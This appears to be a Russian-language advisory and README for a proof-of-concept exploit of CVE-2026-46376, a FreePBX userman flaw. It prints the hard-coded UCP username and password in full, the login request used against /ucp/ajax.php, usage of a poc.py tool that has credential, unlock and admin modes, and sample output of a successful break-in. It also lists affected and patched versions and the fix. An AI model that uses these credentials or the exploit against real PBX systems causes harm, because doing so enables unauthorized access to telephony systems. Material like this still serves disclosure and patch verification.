
CVE-2026-46376 - FreePBX неаутентифицированный доступ к UCP через жестко заданные учетные данные
Критическая уязвимость в модуле управления пользователями (userman) FreePBX позволяет неаутентифицированным злоумышленникам получить доступ к панели управления пользователями (UCP) с помощью жёстко закодированных учётных данных, которые встраиваются в процессе настройки универсального шаблона UCP.
CVSS v4.0: 9.1 (Критический) | CWE-798: Использование жёстко закодированных учётных данных
Раскрыто: 15 мая 2026 г. | Автор: s0nnyWT
Когда администратор использует дополнительную функцию настройки универсального шаблона UCP (введена в 2021 году), создаётся системный пользователь FreePBXUCPTemplateCreator с жёстко закодированным статическим паролем. Если администратор не изменит этот пароль после настройки, любой неаутентифицированный пользователь в сети сможет войти в UCP с этими учётными данными.
| Поле | Значение |
|---|
| Имя пользователя | FreePBXUCPTemplateCreator |
| Пароль | 1a2b3c@fd48jshs03123ld |
| Источник | Userman.class.php — пароль передаётся через md5() |
| Вектор атаки | Сеть |
| Сложность | Низкая |
| Требуется аутентификация | Нет |
| Взаимодействие пользователя | Нет |
| Предварительное условие | Администратор должен был выполнить настройку универсального шаблона UCP |
Примечание: Пользователь
FreePBXUCPTemplateCreatorсоздаётся только в том случае, если администратор явно запускает настройку универсального шаблона UCP. Системы, где такая настройка не выполнялась, не подвержены эксплуатации через данный CVE, даже если на них установлена уязвимая версия.
| Платформа | модуль userman | Затронуто | Исправлено |
|---|---|---|---|
| FreePBX 15 | — | 15.0.42+ | Н/Д |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |
Исправление рандомизирует пароль с помощью bin2hex(random_bytes(24)) во время установки/обновления; у существующих создателей шаблонов пароль перегенерируется при обновлении.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Целевой URL (например, http://192.168.1.100)
optional arguments:
-h, --help Показать это справочное сообщение и выйти
--no-check Пропустить предварительную проверку версии
--timeout TIMEOUT Время ожидания запроса в секундах (по умолчанию: 15)
--method {creds,unlock,admin,all}
Какой метод эксплуатации выполнить (по умолчанию: all)
-y, --yes Автоматически продолжить, даже если версия вне диапазона
POST /ucp/ajax.php с module=User&command=login, используя жёстко закодированные учётные данные?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
Чтобы проверить, доступна ли система для эксплуатации, PoC отправляет запрос на вход через POST /ucp/ajax.php с module=User&command=login и учётными данными. Ответ {"status":true} указывает, что пользователь-создатель шаблона существует и пароль всё ещё задан по умолчанию.
Ответ {"status":false,"message":"Invalid Login Credentials"} означает одно из двух:
userman до версии 16.0.45 (FreePBX 16) или 17.0.7 (FreePBX 17)Данный PoC предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого эксплойта против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.